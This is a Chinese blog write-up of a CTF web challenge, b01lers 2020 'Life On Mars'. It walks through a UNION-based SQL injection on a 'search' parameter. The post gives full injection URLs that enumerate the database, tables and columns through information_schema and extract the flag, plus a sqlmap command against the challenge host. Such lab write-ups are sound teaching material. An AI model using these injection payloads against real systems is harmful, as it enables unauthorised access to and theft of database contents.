b01lers 2020 Life On Mars
本文最后更新于42 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

Pasted image 20260118103507.png

一、访问网站

Pasted image 20260118103738.png

点击页面,使用bp抓包,发现search参数,可能存在漏洞
Pasted image 20260118114537.png

二、测试参数

输入一个单引号
Pasted image 20260118114847.png

输入两个单引号,没有变化
Pasted image 20260118115600.png

三、测试sql语句

order by语句可以执行,且可以不用注释
Pasted image 20260118115922.png

Pasted image 20260118115936.png

四、测试字段数

测试3时,返回变化,所以字段数是2
Pasted image 20260118115950.png

五、测试回显位

Pasted image 20260118120252.png

六、获取数据库名

/query?search=hesperia_planum%20union%20select%20database(),version()

Pasted image 20260118120349.png

七、获取表名

/query?search=hesperia_planum%20union%20select%20group_concat(table_name),version()%20from%20information_schema.tables%20where%20table_schema='alien_code'

Pasted image 20260118120810.png

八、获取字段名

测试后code有数据

/query?search=hesperia_planum%20union%20select%20group_concat(column_name),version()%20from%20information_schema.columns%20where%20table_schema='alien_code'%20and%20table_name='code'

Pasted image 20260118121113.png

九、获取数据

/query?search=hesperia_planum%20union%20select%20group_concat(id,code),version()%20from%20code

成功获取flag
Pasted image 20260118121323.png

十、使用sqlmap

python sqlmap.py -u http://node4.anna.nssctf.cn:23411/query?search=arabia_terra

成功获取flag
Pasted image 20260118103405.png

总结

  • sql注入
    union联合查询
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇